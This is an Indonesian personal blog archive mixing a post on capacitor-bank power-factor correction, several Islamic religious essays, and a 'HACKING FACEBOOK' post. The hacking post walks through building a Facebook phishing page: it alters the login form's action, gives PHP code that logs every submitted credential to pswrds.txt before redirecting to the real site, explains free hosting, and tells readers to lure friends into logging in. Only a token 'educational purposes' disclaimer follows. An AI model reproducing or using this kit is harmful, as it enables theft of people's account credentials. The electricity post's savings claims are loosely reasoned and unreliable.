Hey, I am Afif Gembul Appit Blog. hidup itu bukan pilihan ,hidup itu AnugrahNYA . yang menjadi pilihan adalah mengisi kehidupan .

PERBAIKAN NILAI COS PHI PADA LISTRIK PLN UNTUK MENINGKATKAN EFISIENSI DAYA LISTRIK PADA INSTALASI RUMAH DI INDONESIA

Jumat, 17 Oktober 2014

           Penggunaan listrik di indonesia dari tahun – ketahun telah mengalami penambahan konsumen, baik dari segmen perusahaan ataupun untuk rumah tangga,yang berdampak pada kebutuhan industri mikro dan masyarakat konsumen listrik di indonesia. Hal ini berpengaruh pada harga energi yang semakin mahal di indonesia, pada segmen industri kecil dimana daya yang dibutuhkan cukup besar dan daya pada kebutuhan rumah tangga di indonesia semakin selain itu,faktor daya mempengaruhi biaya penggunaan listrik yang diakibatkan oleh penurunan faktor daya pada listrik.
Faktor daya pada peralatan elektronik rumah tangga kurang maksimal disebabkan faktor daya yang rendah dengan cos φ kurang dari 0,85 lagging, akan tetapi pada instalasi listrik PLN menggunakan nilai cos φ sebesar 0,85,ketika alat elektronik pada rumah tangga dinyalakan ataupun dimatikan menyebabkan nilai faktor daya yang bisa berubah setiap saat.
            Upaya untuk mengatasi hal tersebut dipasang rangkaian kapasitor yang terangkai paralale pada instalasi rumah ,sehingga faktor daya yang diperbaiki dapat meningkatkan nilai efisiensi faktor daya.
Dari hal diatas saya mempunyai gagasan apabila pada suatu rumah dipasang kapasitor bank untuk memperbaiki faktor daya, diamana hal ini bisa meningkatkan efisiensi penggunaan listrik pada rumah tangga di indonesia. Bagi konsumen listrik rumah tangga perbaikan faktor daya merupakan suatu investasi yang bagus dimana efisiensi bertambah dan  penggunaan listrik menjadi lebih optimal , sehingga PLN juga dapat mensuplai arus ke pelanggan lebih banyak juga.
Faktor-faktor yang membuat pemakaian banyak atau sedikit adalah beban yang dilayani dan waktu yang ditempuh oleh suatu peralatan listrik. Menurut teori kelistrikan ,beban listrik mempunyai 3 sifat  yaitu bersifat resistif, kapasitif dan induktif.  Sifat tersebut mencerminkan bendanya yaitu Tahanan untuk sifat resistif, kapasitor untuk sifat kapasitif dan induktor (kumparan) untuk sifat induktif, seperti pemakaian peralatan listrik rumah tangga yang mempunyai kumparan seperti kipas,motor,mesin cuci dapat menyebabkan drop tegangan sehingga dapat menurunkan faktor daya.
     Meningkatan faktor daya untuk rumah yang dipasang kapasitor bank bertujuan untuk meningkatkan nilai faktor daya dari 0,85 menjadi 0,95 atau mendekati nilai 1.Apabila daya yang diberikan dari PLN adalah 880 VA  yaitu hasil perkalian dari rumus :
P = V x I (220 x 4 = 880 VA )
                                                                                     

listrik yang  masuk ke suatu baban, akan terjadi perubahan nilai faktor daya (cos φ) yang kurang dari 1 (satu) misalnya 0,6 – 1, bila nilai cos phi 0,8.  Jika di masukan dengan rumus daya (daya nyata) P = V x I x Cos φ maka di peroleh
P = 220 x 4 x 0,8 = 704 watt.
704 watt merupakan daya maksimal yang bisa kita gunakan, lebih dari nilai tersebut MCB sebagai pembatas akan Trip (jatuh). Jika pemakaian sehari – hari adalah 700 an watt, maka pemakaian daya tersebut sudah maksimal padahal belum mencapai 880 Watt.
sehari hari adalah 704 watt adalah maksimal. Nah dengan di perbaiki faktor dayanya kita bisa memanfaatkan secara maksimal daya dari PLN sebesar 880 VA jadi dengan begitu terjadi selisih sebesar 880 – 704 = ± 176 watt, jika Cos φ di perbaiki maka bisa Hemat Listrik  176 wat, jika tidak di perbaiki maka kerugian daya listrik yang dialami juga 176 watt.
Dengan rincian perhitungan jika Cos φ =  1 maka berdasarkan rumus P = V x I x Cos φ
P = 220 x 4 x 1 = 880 watt
Maka dari itu kapasitor bank menjadi alternatif yang prinsip kerja dari alat tersebut sebenarnya adalah memperbaiki faktor daya suatu beban (memperbaiki nilai Cos φ menjadi 1 ) agar daya listrik yang di batasi oleh PLN dapat dimanfaatkan secara maksimal, .maka penggunaan daya listrik optimal bedampak secara tidak langsung penghematan biaya penggunaan listrik pada Rumah tangga.
Dengan ide yang disampaikan melalui blog ini dihapkan dapat menjadi inspirasi oleh pihak PLN dan masyarakat di indonesia sehingga penggunaan listrik dapat dimanfaatkan secara maksimal tanpa mengurangi keandalan sistem.

NASIHAT KEMATIAN UMMAR BIN ABDUL AZIZ

Selasa, 25 Februari 2014
SUATU ketika Umar bin Abdul Aziz r.a mengiringi jenazah. Ketika semuanya telah bubar, Umar dan beberapa sahabatnya tidak beranjak dari kubur sang jenazah tadi. Beberapa sahabatnya bertanya, “Wahai Amirul Mukminin, ini adalah jenazah yang engkau cintai dan engkau menungguinya disini lalu akan meninggalkannya“.

Umar berkata, “Ya. Sesungguhnya kuburan ini memanggilku dari belakang. Maukah kalian kuberitahu apa yang ia katakan kepadaku?“.

Mereka menjawab, “Tentu”.

Umar berkata, “Kuburan ini memanggilku dan berkata, ‘Wahai Umar bin Abdul Aziz, maukah kuberitahu apa yang akan kuperbuat dengan orang yang kau cintai ini?‘, “Tentu“, jawabku.

Kuburan itu berkata, “Aku bakar kafannya, kurobek badannya dan kusedot darahnya serta kukunya dagingnya. Maukah kau kau kuberitahu apa yang kuperbuat dengan anggota badannya?“.

“Tentu“, jawabku.

“Aku cabut satu per satu jari-jari ditelapak tangannya, lalu dari tangannya ke lengan dan dari lengan menuju pundak. Lalu kucabut pula lutut dari pahanya. Dan paha dari lututnya. Ku cabut pula lutut itu dari betis. Dan dari betis menuju telapak kakinya“.

Lalu Umar bin Abdul Aziz menangis dan berkata,

Ketahuilah, umur dunia hanya sedikit. Kemuliaan didalamnya adalah kehinaan. Yang muda akan menjadi renta, dan yang hidup akan mati. Celakalah yang tertipu olehnya.

Janganlah kau tertipu oleh dunia. Orang yang tertipu adalah yang tertipu oleh dunia. Dimanakah penduduk yang membangun suatu kota, membelah sungai-sungai dan menghiasinya dengan pepohonan, lalu tinggal di dalamnya dalam jangka waktu sangat pendek. Mereka tertipu, menggunakan kesehatan yang dimiliki untuk berbuat maksiat.

Demi Allah, di dunia mereka dicengkeram oleh hartanya, tak boleh begini dan begitu, dan banyak orang yang dengki kepadanya. Apa yang diperbuat oleh tanah dan kerikil kuburan terhadap tubuhnya? Apa pula yang diperbuat binatang-binatang tanah terhadap tulang dan anggota tubuhnya?

Dulu, di dunia mereka berada di tengah-tengah keluarga yang mengelilinginya. Diatas kasur yang empuk dan pembantu yang setia. Keluarga yang memuliakan dan kekasih yang menyertainya. Tetapi ketika semuanya berlalu dan maut datang memanggil, lihatlah betapa dekat kuburan dengan tempat tinggalnya. Tanyakan kepada orang kaya, apa yang tersisa dari kekayaannya? Tanyakan pula kepada orang fakir, apa yang tersisa dari kefakirannya?

HACKING FACEBOOK

Senin, 17 Februari 2014

Sebagian besar orang ingin tahu bagaimana hacker mengambil kendali dari rekening mereka.Dalam posting ini, izinkan saya mengklarifikasi keraguan. Di sini, saya akan menjelaskan salah satu serangan rekayasa sosial populer (memikat pengguna untuk melakukan apa pun yang Anda diminta untuk melakukan.), yang disebut "phishing ". Phishing adalah salah satu yang populerhacking yang teknik digunakan oleh hacker untuk memancing korban agar memberi login mereka. WebPage Phishing: . halaman web Phishing adalah halaman web palsu dari situs target yang membantu hacker untuk memancing korban ke dalam percaya bahwa mereka mengunjungi situs yang sah Mari saya jelaskan cara membuat facebook . Halaman phishing Langkah 1: Pergi ke facebook dan klik kanan di website. Pilih "Lihat sumber" dan salin kode ke notepad.

Step2:
Sekarang cari (Tekan ctrl + f) untuk kata kunci "action" dalam kode itu. Anda mengisi menemukan kode seperti ini:




Di sini, mari saya jelaskan apa "action" berarti. Jika Anda memiliki beberapa pengetahuan dasar tentang aplikasi web, maka Anda sudah tahu tentang itu. 'Aksi' adalah atribut HTML yang menentukan di mana untuk mengirim form-data ketika formulir dikirimkan. Pada kode diatas, atribut aksi memiliki nilai yang menunjuk ke file php facebook login (https://login.facebook.com / login.php). Jadi, ketika pengguna mengklik tombol login, maka akan mengirimkan data ke halaman login.php. File php ini akan memeriksa apakah password yang dimasukkan valid atau tidak. Untuk menangkap form-data, kita harus mengubah nilai tindakan ke file php kita. Jadi mari kita mengubah nilai untuk 'action = "login.php"'. Catatan: Aku telah menghapus 'http://login.facebook.com/' dari nilai. Simpan file sebagai index.html. Langkah 3: Sekarang, mari kita membuat file login.php kita sendiri yang akan menangkap data yang dimasukkan dan diarahkan ke halaman facebook asli. Buka notepad dan ketik kode berikut:











? php
header ("Location: http://www.Facebook.com/login.php");
$ menangani = fopen ("pswrds.txt", "a");
foreach ($ _ POST sebagai $ variable => $ value) {
fwrite ($ handle, $ variable);
fwrite ($ handle, "=");
fwrite ($ handle, $ value);
fwrite ($ handle, "\ r \ n");
}
fwrite ($ handle , "\ r \ n");
fclose ($ handle);
exit;
?>

simpan file ini sebagai "login.php"

Langkah 4:
Buka notepad dan hanya menyimpan file sebagai "pswrds.txt" (tanpa isi). Langkah 5: Untuk host halaman phishing Anda, Anda mungkin perlu sebuah webhosting. Anda dapat membuat account gratis di penyedia web hosting gratis . Setelah Anda membuat akun di situs hosting gratis, Anda dapat meng-host file Anda dan jalankan. Juga, file Anda dapat dilihat dengan mengunjungi URL tertentu yang diberikan ketika Anda membuat akun. Sebagai contoh:. 'Your_url_name.webhosting_domain.com' Sekarang upload file-file (index.html, login.php, pswrds.txt) di gratis  Web hosting situs . Pastikan halaman palsu Anda bekerja atau tidak dengan vising url Anda.  Sekarang, Anda harus memikat teman-teman Anda ke dalam masuk ke dalam halaman phishing Anda. Setelah mereka masuk ke dalam halaman, Anda dapat melihat login yang disimpan dalam "pswrds.txt" file. Catatan:









Artikel di atas adalah untuk tujuan pendidikan saja, ditulis untuk pemula dari Ethical hacking atau pentesting untuk memahami dasar-dasar sehingga akan mudah bagi mereka untuk memahami topik-topik lanjutan. Saya juga menulis sebuah artikel yang memberikan beberapa tips keamanan untuk melindungi diri dari menjadi korban semacam halaman phishing



ATURAN ADAB BERBICARA,BERDEBAT MAUPUN BERPENDAPAT

Sabtu, 15 Februari 2014
Adab Berbicara
1. Semua pembicaraan harus kebaikan, (QS 4/114, dan QS 23/3), dalam hadits nabi SAW disebutkan:
“Barangsiapa yang beriman pada Allah Subhanahu Wata’ala dan hari akhir maka hendaklah berkata baik atau lebih baik diam.” (HR Bukhari Muslim)
2. Berbicara harus jelas dan benar, sebagaimana dalam hadits Aisyah ra:
“Bahwasanya perkataan Rasulullah Saw itu selalu jelas sehingga bisa difahami oleh semua yang mendengar.” (HR Abu Daud)
3. Seimbang dan menjauhi berlarut-larutan, berdasarkan sabda nabishallallahu alaihi wasallam:
“Sesungguhnya orang yang paling aku benci dan paling jauh dariku nanti di hari Kiamat ialah orang yang banyak bercakap dan berlagak dalam berbicara.” Maka dikatakan: Wahai Rasulullah kami telah mengetahui arti ats-tsartsarun dan mutasyaddiqun, lalu apa makna al-mutafayhiqun? Maka jawab nabi shallallahu alaihi wasallam:
“Orang-orang yang sombong.” (HR Tirmidzi dan dihasankannya)
4. Menghindari banyak berbicara, karena khuatir membosankan yang mendengar, sebagaimana dalam hadits yang diriwayatkan oleh Abu Wa’il:
Adalah Ibnu Mas’ud ra senantiasa mengajari kami setiap hari Kamis, maka berkata seorang lelaki: Wahai abu Abdurrahman (gelar Ibnu Mas’ud)! Seandainya anda mau mengajari kami setiap hari? Maka jawab Ibnu Mas’ud : Sesungguhnya tidak ada yang menghalangiku memenuhi keinginanmu, hanya aku kuatir membosankan kalian, karena akupun pernah meminta yang demikian pada nabi shallallahu alaihi wasallam:
dan beliau menjawab kuatir membosankan kami (HR Muttafaq ‘alaih)
5. Mengulangi kata-kata yang penting jika dibutuhkan, dari Anas ra bahwa adalah nabi SAW jika berbicara maka beliau shallallahu alaihi wasallam:
mengulanginya 3 kali sehingga semua yang mendengarkannya menjadi faham, dan apabila beliau shallallahu alaihi wasallam:
mendatangi rumah seseorang maka beliau shallallahu alaihi wasallam:
pun mengucapkan salam 3 kali. (HR Bukhari)
6. Menghindari mengucapkan yang bathil, berdasarkan hadits nabishallallahu alaihi wasallam:
“Sesungguhnya seorang hamba mengucapkan satu kata yang diridhai Allah Subhanahu Wata’ala yang ia tidak mengira yang akan mendapatkan demikian sehingga dicatat oleh Allah Subhanahu Wata’ala keridhoan-Nya bagi orang tersebut sampai nanti hari Kiamat. Dan seorang lelaki mengucapkan satu kata yang dimurkai Allah Subhanahu Wata’ala yang tidak dikiranya akan demikian, maka Allah Subhanahu Wata’ala mencatatnya yang demikian itu sampai hari Kiamat.” (HR Tirmidzi dan ia berkata hadits hasan shahih; juga diriwayatkan oleh Ibnu Majah)
7. Menjauhi perdebatan sengit, berdasarkan hadits nabi shallallahu alaihi wasallam:
“Tidaklah sesat suatu kaum setelah mendapatkan hidayah untuk mereka, melainkan karena terlalu banyak berdebat.” (HR Ahmad dan Tirmidzi)
Dan dalam hadits lain disebutkan sabda nabi shallallahu alaihi wasallam:
“Aku jamin rumah didasar surga bagi yang menghindari berdebat sekalipun ia benar, dan aku jamin rumah ditengah surga bagi yang menghindari dusta walaupun dalam bercanda, dan aku jamin rumah di puncak surga bagi yang baik akhlaqnya.” (HR Abu Daud)
8. Menjauhi kata-kata keji, mencela, melaknat, berdasarkan hadits nabishallallahu alaihi wasallam:
“Bukanlah seorang mu’min jika suka mencela, mela’nat dan berkata-kata keji.” (HR Tirmidzi dengan sanad shahih)
9. Menghindari banyak canda, berdasarkan hadits nabi shallallahu alaihi wasallam:
“Sesungguhnya seburuk-buruk orang disisi Allah Subhanahu Wata’ala di hari Kiamat kelak ialah orang yang suka membuat manusia tertawa.” (HR Bukhari)
10. Menghindari menceritakan aib orang dan saling memanggil dengan gelar yang buruk, berdasarkan QS 49/11, juga dalam hadits nabi shallallahu alaihi wasallam:
“Jika seorang menceritakan suatu hal padamu lalu ia pergi, maka ceritanya itu menjadi amanah bagimu untuk menjaganya.” (HR Abu Daud dan Tirmidzi dan ia menghasankannya)
11. Menghindari dusta, berdasarkan hadits nabi shallallahu alaihi wasallam:
“Tanda-tanda munafik itu ada 3, jika ia bicara berdusta, jika ia berjanji mengingkari dan jika diberi amanah ia khianat.” (HR Bukhari)
12. Menghindari ghibah dan mengadu domba, berdasarkan hadits nabishallallahu alaihi wasallam:
“Janganlah kalian saling mendengki, dan janganlah kalian saling membenci, dan janganlah kalian saling berkata-kata keji, dan janganlah kalian saling menghindari, dan janganlah kalian saling meng-ghibbah satu dengan yang lain, dan jadilah hamba-hamba Allah yang bersaudara.” (HR Muttafaq ‘alaih)
13. Berhati-hati dan adil dalam memuji, berdasarkan hadits nabi shallallahu alaihi wasallam, dari Abdurrahman bin abi Bakrah dari bapaknya berkata:
Ada seorang yang memuji orang lain di depan orang tersebut, maka kata nabi: “Celaka kamu, kamu telah mencelakakan saudaramu! Kamu telah mencelakakan saudaramu!” (2 kali), lalu kata beliau: “Jika ada seseorang ingin memuji orang lain di depannya maka katakanlah: Cukuplah si fulan, semoga Allah mencukupkannya, kami tidak mensucikan seorangpun disisi Allah, lalu barulah katakan sesuai kenyataannya.” (HR Muttafaq ‘alaih dan ini adalah lafzh Muslim)
Dan dari Mujahid dari Abu Ma’mar berkata: Berdiri seseorang memuji seorang pejabat di depan Miqdad bin Aswad secara berlebih-lebihan, maka Miqdad mengambil pasir dan menaburkannya di wajah orang itu, lalu berkata: Nabi shallallahu alaihi wasallam memerintahkan kami untuk menaburkan pasir di wajah orang yang gemar memuji. (HR Muslim)
Adab Mendengar
1. Diam dan memperhatikan (QS 50/37)
2. Tidak memotong/memutus pembicaraan
3. Menghadapkan wajah pada pembicara dan tidak memalingkan wajah darinya sepanjang sesuai dengan syariat (bukan berbicara dengan lawan jenis)
4. Tidak menyela pembicaraan saudaranya walaupun ia sudah tahu, sepanjang bukan perkataan dosa.
5. Tidak merasa dalam hatinya bahwa ia lebih tahu dari yang berbicara
Adab Menolak / Tidak Setuju
1. Ikhlas dan menghindari sifat senang menjadi pusat perhatian
2. Menjauhi ingin tersohor dan terkenal
3. Penolakan harus tetap menghormati dan lembut serta tidak meninggikan suara
4. Penolakan harus penuh dengan dalil dan taujih
5. Menghindari terjadinya perdebatan sengit
6. Hendaknya dimulai dengan menyampaikan sisi benarnya lebih dulu sebelum mengomentari yang salah
7. Penolakan tidak bertentangan dengan syariat
8. Hal yang dibicarakan hendaknya merupakan hal yang penting dan dapat dilaksanakan dan bukan sesuatu yang belum terjadi
9. Ketika menolak hendaknya dengan memperhatikan tingkat ilmu lawan bicara, tidak berbicara di luar kemampuan lawan bicara yang dikuatirkan menjadi fitnah bagi diri dan agamanya
10. Saat menolak hendaknya menjaga hati dalam keadaan bersih, dan menghindari kebencian serta penyakit hati.

MERAYAKAN MAULID NABI

MERAYAKAN maulid Nabi Muhammad Sallallahu alaihi wa sallam adalah amalan yang utama karena merupakan ungkapan suka cita dengan kelahiran nabi pembawa rahmat itu, dan juga merupakan ungkapan cinta kepada beliau.
Cinta kepada Nabi adalah salah satu pokok keimanan. Sabda Rasulullah: “Tidak disebut beriman salah satu di antara kalian sehingga aku lebih dicintai olehnya daripada orang tuanya, anaknya dan manusia seluruhnya.” (HR. al-Bukhari)
Diriwayatkan dari Buraidah al-Aslami, beliau berkata : Rasulullah Saw. pernah pergi dalam salah satu peperangan, ketika beliau kembali, ada seorang wanita berkulit hitam yang menyambut kedatangan beliau itu sambil mengatakan, “Ya Rasulullah, sungguh aku telah bernadzar, jika Allah mengembalikan engkau dengan selamat, aku akan menabuh rebana sambil bernyanyi di hadapanmu. Maka jawab beliau, “Kalau benar kamu telah bernadzar, maka tabuhlah, tetapi kalau tidak bernadzar, jangan kamu tabuh”.
Jika menabuh rebana sebagai ungkapan suka cita setelah kedatangan Nabi dari medan perang adalah hal yang disyariatkan, karena disetujui oleh beliau dan wajib melakukannya jika berupa nadzar, maka mengungkapkan suka cita atas kedatangan (kelahiran) beliau di dunia ini adalah hal yang lebih utama.
Jika Allah meringankan siksa Abu Lahab di neraka pada setiap hari Senin karena dulu mengungkapkan suka cita atas kelahiran Nabi Muhammad dengan memerdekakan budak perempuannya yang bernama Tsuwaybah, maka kira-kira apa yang akan dianugerahkan oleh Allah kepada kaum mukminin yang merayakan maulid Nabi?
Para ulama salafussalih sejak abad ke-4 dan ke-5 telah merayakan maulid nabi dengan macam-macam ibadah, seperti menyedekahkan makanan, membaca al-Quran, dzikir dan menyanyikan pujian-pujian kepada baginda Nabi. Hal itu telah dijelaskan oleh banyak ulama, seperti Ibnu Jauzi, Ibnu Katsir, Ibnu Dihyah al-Andalusi, Ibnu Hajar dan Jalaluddin al-Suyuthi.
Para ulama juga banyak yang menulis tentang keutamaan perayaan maulid Nabi dengan dalil-dalil yang shahih, seperti Ibnu al-Hajj dalam “al-Madkhal”nya dan Imam Jalaluddin al-Suyuthi dalam risalahnya yang berjudul “Husnul maqsid fi amal al-maulid.” [Sumber: Darul Ifta Masriyah, MAJLIS FATWA MESIR]

Manajemen dan Leadership Rasulullah SAW

Rasulullah Muhammad shallallahu ‘alaihi wasallam adalah sosok pribadi yang paripurna sehingga menjadi teladan utama terbaik bagi umat manusia, khususnya umat Islam dalam menjalankan kehidupan di dunia untuk meraih kebahagiaan kehodupan akhirat. Keteladanan tersebut bukan hanya dalam sisi tertentu atau beberapa sisi kehidupan, melainkan dalam semua sisi dan lingkup kehidupan; sisi intelektualitas, spiritualitas (keimanan), akhlak, fisik, kesehatan, mentalitas, manajemen, strategi, perencanaan, kemasyarakatan, kenegaraan, negosiasi, kesabaran, leadership (kepemimpinan) dan seterusnya.
Semua sisi tersebut dapat direalisasikan secara sempurna oleh Rasulullah dalam lingkup individu, rumah tangga, masyarakat dan bahkan dalam sebuah negara dan pemerintahan moderen pertama di dunia. Yang lebih mengagumkan lagi ialah pesona kepribadian Muhammad  shallallahu ‘alaihi wasallam yang sempurna itu bukan hanya dirasakan semasa Beliau masih hidup, akan tetapi memancar cahaya dan pengaruhnya setelah Beliau wafat dan sampai akhir zaman dan menjadi keharusan bagi umat Islam untuk meneladaninya. Tidak akan ada lagi manusia teladan terbaik di dunia ini setelah Muhammad shallallahu ‘alaihi wasallam sampai dunia ini Allah hancurkan (kiamat). Allah menjelaskan: “Sungguh ada dalam diri Rasulullah keteladanan yang terbaik bagi kalian, yakni bagi orang yang mengharapkan pertemuan dengan Allah dan hari akhir dan berzikir dengan banyak“ (Al-Ahzab : 21).
Seperti yang sudah disinggung sebelumya, manajemen dan leadershipRasulullah adalah bagian hidup yang sangat menarik dan sangat istimewa. Melihat kondisi umat islam yang sedang terpuruk dalam semua sisi kehidupan saat ini, maka sisi mamanjemen dan leadership ini salah satu yang paling dibutuhkan umat Islam. Karena dengan memahami dan menerapkan manajemendan leadership Rasulullah dalam semua lini kehidupan, insya Allah kehidupan kita akan mengalami peningkatan dan perubahan ke arah yang benar seperti yang dialami generasi Sahabat, Tabi’in, Tabi’ittabi’in dan seterusnya.
Untuk membuktikan beatapa dahsyat dan efektifnya manajemen danleadership Rasulullah dapat kita saksikan pada perubahan besar-besaran yang terjadi dalam bangsa dan negeri-negeri Arab setelah mereka dipimpin Nabi kita Muhammad shallallahu ‘alaihi wasallam. Bangsa Arab sebelum dipimpin Rasulullah adalah bangsa pengekor, terdiri dari beberapa kabilah (susku) yang saling berperang di antara mereka, tunduk kepada kekuatan kerajaan Persia dan kerajaan Romawi, kekacauan terjadi dalam semua lini kehidupan; sejak dari kehidupan pribadi, rumah tangga, masyarakat, akhlak, intelektualitas, spiritualitas dan ekonomi sehingga melahirkan sebuah budaya primitif yang digambarkan Al-Qur’an sebaagi sebuah budaya kehidupan Jahiliyah.
Setelah dipimpin Rasulullah, bangsa Arab berubah menjadi bangsa pemimpin, yang sebelumnya bermusuhan dan saling berperang menjadi bersaudara, menjadi bangsa yang sangat ditakuti pasukan Persia dan Romawi dan menjadi bangsa yang sangat beradab, berakhlak mulia, hidup teratur, bersih lahir dan batin sehinga melahirkan budaya yang sangat manusiawi, intelek, cerdas, pemberani dan memiliki tanggung jawab sosial yang sangat tinggi. Itulah peradaban Islam yang tiada duanya sepanjang sejarah manusia di atas bumi ini. Peradaban tersebut bertahan sampai sekitar 13 abad lamanya membentang dari Jakarta sampai Maroko, dan bahkan menyeberang sampai ke Spanyol dan Eropa Timur lainnya. Sampai saat ini, aroma dan pengaruh peradaban mulia tersebut masih dapat dirasakan umat manusia sejak dari Timur sampai Barat.
Satu hal yang perlu kita yakini bahwa Rasul Allah yang mulia, Muhammadshallallahu ‘alaihi wasallam adalah seorang negarawan, panglima militer, hakim agung, legislator dan sekaligus kepala rumah tangga dan teman dekat bagi para Sahabat yang sangat mulia. Artinya, kegemilangan Nabi Muhammad shallallahu ‘alaihi wasallam bukan masalah manusia biasa, melaikan sudah menjadi kehendak Allah atau domain Rabbani, baik yang bersifat prinsip, jalan atau strategi dan juga tujuan. Sebuah skenario Allah terlihat dengan jelas dalam semua sisi kehidupan Beliau agar dapat dijadikan teladan yang benar dan tepat oleh umatnya di kemudian hari sampai kiamat terjadi.
Beberapa sisi leadership Rasuluillah berikut dapat kita jadikan teladan yang baik :
1.     Sisi Manajemen dan Leadership Rumah Tangga
Kendati Muhammad sebagai Rasul Allah dan pemimpin agung dan tertinggi umat Islam, namun penerapan manajamen dan leadership di rumah tangga Beliau sangatlah unik sehinnga tidak terlihat ngebos (menjadi bos besar) yang setiap saat dan detik wajib dilayani istri dan pelayan yang banyak sebagaimana halnya para pemimpin dunia lainya. Manajemen dan leadershipyang beliau terapkan sangatlah sederhana, namun sangat menyentuh sisi kemanusiaan para istri Beliau secara alami (fitrah) sehigga seakan Beliau adalah suami biasa dan tidak terlihat sedikitpun ketinggian, apalagi keangkuhan dalam dirinya.
Beberpa kasus berikut dapat menjelaskan hal tersebut sebagai sebuah fakta kehidupan rumah tangga Rasulullah yang aplikatif, bukan hanya sekedar nilai dan teori-teori kebaikan.
A. Rasulullah meletakkan bibirnya di tempat yang sama dengan bibir Aisyah dari gelas bekas Aisyah minum dan meminum sisa air minuman Aisyah. (Riwayat Muslim)
B. Rasullah bersandar di pangkuan Aisyah sedangkan ia sedang haidh. (Riwayat Muslim)
C. Rasulullah meminta Aisyah menyisirkan rambutnya dan memotong kukunya. (Riwayat Muslim)
D. Rasulullah sering menghirup udara malam (piknik) bersama Aisyah di malam hari. (Riwayat Al-Bukhari)
E. Rasulullah tertawa mendengar candaan istrinya. (Riwayat Al-Bukhari)
F. Rasulullah sering membantu istrinya menyiapkan keperluan rumah tangga. (Riwayat Al-Bukhari)
G. Rasulullah sering memberikan hadiah, khususnya daging kurban kepada sahabat-sahabat istrinya (Khadijah) setelah beliau wafat. (Riawayat Al-Bukhari)
H. Rasulullah Sering memuji istrinya dalam hal kelebihan mereka. (Riwayat Al-Bukhari).
I. Rasulullah menyatakan cinta pada istrinya. (Riwayat Muslim).
J. Rasulullah melihat sisi kebaikan dan kelebihan istrinya. (Riwayat Muslim)
K. Rasululullah tidak pernah menceritakan kepada orang lain privasi istrinya. (Riwayat Muslim).
L. Rasulullah sangat memahami perasaan istrinya baik dalam keadaan senang maupun marah. (Riwayat Muslim)
M. Rasulullah senang menerima hadiah dari istrinya (Riwayat Muslim)
N. Rasulullah sabar dan tahan menanggung perilaku istrinya yang kurang berkenan. (Riwayat Muslim)
O. Rasulullah tidak pernah kasar atau memukul istrinya (Riwayat An-Nasa’i)
P. Rasulullah menghibur istrinya dan menghapus air mata istrinya jika Beliau temukan istrinya sedang menangis. (Riawayat An-Nasa’i)
Q. Rasulullah pernah menyuapkan makanan pada istrinya. (Riawayat Al-Bukhari)
R. Rasulullah menghadirkan sendiri keperluan-keperluan istrinya. (Riwayat Al-hakim)
S. Rasulullah percaya pada istrinya. (Riwayat Muslim)
T. Rasulullah sangat pandai berbicara dalam menjaga perasaan istrinya. (Riwayat An-Nasa’i)
U. Rasulullah sangat adil di antara istri-istrinya. (Riwayat At-Tirmizi)
V. Rasulullah sangat menjaga dan memperhatikan istri-istrinya. (Riwayat Bukhari)
W. Rasulullah tetap bergaul seperti biasa (selain hubungan seks langsung) saat istrinya haidh. (Riwayat Bukhari)
X. Rasulullah suka mengajak istrinya musafir dengan melakukan undian di antara mereka. (Riwayat Bukhari dan Muslim)
Y. Rasulullah pernah melakukan lomba lari dengan Aisyah. (Abu Daud)
Z. Rasulullah suka memanggil istrinya dengan nama panggilan/gelar. (Riwayat Ahmad)
AA. Rasulullah suka menuturkan berbagai cerita pada istrinya. (Riwayat Bukhari)
BB. Rasulullah ikut serta dalam kegembiraan istrinya. (Riwayat Bukhari)
CC. Rasulullah tidak pernah menggunakan kata-kata kasar dalam rumah tangga. (Riwayat Ad-Daromi)
DD. Rasulullah menghormati kesukaan istrinya (Adabul Mufrad)
EE. Rasulullah sangat baik pada istri-istrinya. (Riwayat At-Tirmizi)
FF. Rasulullah kalau hendak menggauli istrinya saat pulang dari musafir memberikan kesempatan pada mereka untuk berhias diri. (Riwayat An-Nasa’i)
2.     Sisi Manajemen dan Leadership Kemasyarakatan/Sosial
Demikian pula halnya, kendati Rasulullah sebagai hamba pilihan dan paling mulia sejagad di sisi Allah, dalam pergaulan sehari-hari bersama para sahabat dan masyarakatnya tidak terlihat sedikitpun kesan perbedaan dengan mereka atau ketinggian diri di tengah-tengah mereka. Sebagai manusia, Rasulullah bergaul dengan sahabat dan masyarakat yang hetrogen (berbagai suku dan bangsa) sebagaimana manusia lainnya. Beberapa kasus berikut dapat pula kita jadikan bukti otentik bagaimana Rasulullah bermasyarakat dengan manajemen dan leadership yang sangat fantastik.
A. Saat Rasulullah bersama Sahabat menuju perjalanan ke Badar dalam suatu perjalan perang, jumlah mereka sekitar 1000 orang sedangkan kendraan kuda/onta mereka hanya sekitar 300 ekor, maka Rasulullah membagi setiap satu tunggangan untuk tiga orang sahabat. Lalu berkata : Saya, Ali dan Abu Lubabah satu kendraan. Ketika Rasulullah habis jatah menaiki kendraan tersebut, kedua Sahabat tadi memohon agar Beliau tetap di atas kendraan itu. Lalu Rasuluillah berkata : Tidak wahai Sahabatku. Kalian berdua tidaklah lebih kuat dari aku dan aktu tidak pula orang yang tidak membutuhkan pahala. (Riwayat Imam Ahmad)
B. Dalam suatu perjalan yang lain bersama para Sahabat saat hendak menyiapkan makanan. Ketika itu mereka sepakat memotong seekor kambing. Lalu Rasulullah membagi tugas di antara para Sahabat. Para Sahabatpun berlomba-lomba menawarkan diri untuk berkhidmat pada saudara-saudara mereka. Yang satu berkata : Saya bagian tukang potongnya. Yang lain lagi berkata. Saya yang akan mengulitinya. Yang lain lagi berkata : Saya yang akan memasaknya. Lalu Rasulullah berkata : Saya yang akan mengumpulkan kayu bakarnya. Ketika dikatakan pada Beliau, cukup kami saja yang mengerjakannya wahai Rasulullah, Beliaupun berkata : Saya tahu itu, akan tetapi Allah tidak suka melihat hamba-Nya berbeda dengan teman-temannya.
C. Ketika Rasulullah hijrah ke Madinah yang pertama kali Beliau lakukan adalah membangun Masjid. Lalu Rasulullah memerintahkan para Sahabat untuk membangunnya. Dalam proses pembangunan tersebut terlihat Rasulullah ikut serta dengan kedua tangan Beliau yang mulia. Terlihat Rasulullah sangat bersemangat dan pada waktu yang sama Beliau  memotivasi kaum Muhajirin dan Anshar dengan senandung Beliau yang mengandung nilai yang sangat tinggi dan maulia, “Yaa Allah, sesungguhnya tidak ada kehidupan yang hakiki kecuali hanya kehidupan akhirat. Sebab itu, tolonglah kamum Anshar dan Muhajirin”. (Ibnu Hisyam)
